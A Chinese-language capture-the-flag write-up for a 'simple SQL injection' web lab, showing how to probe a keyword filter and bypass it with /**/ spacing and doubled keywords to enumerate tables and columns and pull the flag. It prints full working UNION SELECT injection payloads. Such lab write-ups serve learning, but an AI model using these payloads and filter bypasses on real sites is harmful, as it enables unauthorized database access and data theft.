1. 程式人生 > >實驗吧web-中-簡單的sql注入

實驗吧web-中-簡單的sql注入

頁面顯示:到底過濾了什麼東西?

所以我們先試試到底是過濾了什麼

1  顯示正常
1' 不正常
(直接輸入的關鍵字均會被過濾)
1 union select  顯示:1 select
1 union select table_name  顯示:1 table_name
1 unionunion select  顯示:1 unionselect
1 unionunion select table_name  顯示:1 uniontable_name

我們可以發現會過濾掉關鍵字,但是好像只能過濾掉後面有空格的關鍵字(會將其後面的空格一併過濾掉)

於是我們可以想辦法繞過這個空格:

策略一:用++或/**/繞過(較簡單,因為這樣關鍵字不會被過濾)

1'/**/union/**/select/**/table_name/**/from/**/information_schema.tables/**/where/**/'1'='1

後面單獨的'用了閉合掉一個'號

 最下面看到flag表,於是再用1'/**/union/**/select/**/column_name/**/from/**/information_schema.columns/**/where/**/table_name='flag   卻發現column_name和information_schema.columns被過濾掉了

所以用:1'/**/union/**/select/**/columncolumn_name_name/**/from/**/informationinformation_schema.columns_schema.columns/**/where/**/table_name='flag  得到

 得到flag這個column,再查詢其內容:1'/**/union/**/select/**/flag/**/from/**/flag/**/where/**/'1'='1

就拿到flag了。

策略二:雙寫加雙空格繞過(用的上面的圖)

1.首先,暴表:1' unionunion  selectselect  table_name  fromfrom  information_schema.tables  wherewhere  '1'='1

 2.爆欄位:這個和上面一樣有過濾

1' unionunion  selectselect  columncolumn_name_name  fromfrom  information_schemainformation_schema.columns.columns  wherewhere  table_name='flag

 3.爆內容:1'  unionunion  selectselect  flag  fromfrom  flag  wherewhere  '1'='1

就拿到flag了。